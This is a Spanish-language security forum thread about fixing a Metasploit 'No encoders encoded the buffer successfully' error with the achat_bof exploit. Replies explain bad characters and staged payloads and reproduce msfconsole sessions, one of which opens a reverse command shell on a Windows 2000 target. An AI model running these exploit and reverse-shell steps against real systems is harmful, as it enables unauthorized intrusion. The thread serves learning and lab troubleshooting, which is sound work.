Ayuda! Tengo un host windows 7 vulnerable con su exploit (achat_bof), cuando lo ejecuto me dá el siguiente error,
msf exploit(achat_bof) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
alguién pude ayudarme y explicarme a que se debe! ??
Muchas gracias!
Los payloads disponibles (show payloads) son determinados por el espacio de memoria disponible ('Space') para el exploit a usar. En el ejemplo, el espacio para el payload es: 'Space: 200'. Sin embargo, la aplicación objetivo no permite que ciertos caracteres sean usados (generalmente el carácter nulo 0x00 ya que marca el fin de una cadena [character array]). En el ejemplo el payload no permite cinco caracteres: 'Avoid: 5 characters '
Cuando ejecuta el exploit, el generador del payload intentara meter el payload en un espacio de 200, excluyendo 5 caracteres específicos. Esto no siempre es posible, y dará lugar al error: No encoders encoded the buffer successfully.
Sin embargo, no todo está perdido. Metasploit Framework incluye la capacidad de apoyar payloads organizadamente. Un payload organizado es un payload significativamente más pequeño que, en vez de ejecutar la acción deseada (tal como reverse shell), comenzará una plataforma de organizar que pueda entonces agregar a esa plataforma. Entonces en nuestro ejemplo, en vez de una reverse shell completa, lo hará asi:
1 Crear la plataforma de organizar.
2 Asignar bastante memoria para sostener el payload deseado.
3 Obtener el resto del payload de usted.
4 Ejecutar el payload en total.
Generalmente, todos los exploit organizados son denotados por '/' después del payload deseado. Algunos ejemplos son:
windows/dllinject/reverse_tcp Windows Inject DLL, Reverse TCP Stager
windows/download_exec/bind_tcp Windows Executable Download and Execute, Bind TCP Stager
windows/exec/find_tag Windows Execute Command, Find Tag Ordinal Stager
windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager
windows/shell/reverse_tcp Windows Command Shell, Reverse TCP Stager
windows/upexec/bind_tcp Windows Upload/Execute, Bind TCP Stager
windows/vncinject/reverse_ord_tcp Windows VNC Inject, Reverse Ordinal TCP Stager
Ahora que sabemos que no siempre se puede ejecutar un payload 'Íntegro', podemos usar uno organizado en esos casos:
msf exploit(ccproxy_telnet_ping) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ccproxy_telnet_ping) > exploit
[*] Started reverse handler
[*] Trying target Windows 2000 Pro SP4 - English on host 127.0.0.1:23...
[*] Sending stage (474 bytes)
[*] Command shell session 8 opened (127.0.0.1:4444 -> 127.0.0.1:2016)
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>
Espero que te sirva!
Saludos!
ANTRAX
Probé con diferentes PAYLOADs y persiste el error:
msf > use exploit/windows/misc/achat_bof
msf exploit(achat_bof) > set lhost 192.168.0.136
lhost => 192.168.0.136
msf exploit(achat_bof) > set RHOST 192.168.0.156
RHOST => 192.168.0.156
msf exploit(achat_bof) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(achat_bof) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(achat_bof) >
Alguna sugerencia?
Haz uso de algun encoder sobre el payload.
Regards,
Snifer
Perdón por mi ignorancia, pero para hacer uso de algún encoder en el exploit citado, tengo que editar el código del exploit? Podrías orientarme un poco?
Me autocorrijo pense que andabas haciendo un bypass de algun av xDD error mio!!!!
Mira esto: Metasploit FAQ (https://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions#Exploit_failed:_No_encoders_encoded_the_buffer_successfully)
Con ello saldras totalmente de dudas.
Regards,
Snifer
Está más que claro el error (por lo menos para alguien que sabe algo de exploit y no está como un simio copiando y pegando comandos sin entender que hay detrás), el payload que está enviando el exploit contiene caracteres que impiden (cortan) el correcto funcionamiento del exploit, un caso común por ejemplo es cuando el payload contiene bytes 0x00, si el exploit abusara de la API strCpy() o similares, el exploit no alcanzaría a copiarse completamente en la memoria del SO a vulnerar, no podría ejecutarse el fallo de seguridad, por lo cual el fallo de seguridad no tendría éxito, aun así el exploit debe tener un mecanismo de seguridad por lo cual antes de enviar el exploit este verifica los caracteres (valores hexadecimales enviados en el Payload).
Saludos y por favor si vas a copiar cosas, mejor dedícate a ser mimo de calle o algo así, por que así como vas, no podrás ser nunca alguien "diferente" pues lo más lejos que llegarás será a la copia exacta de otra persona.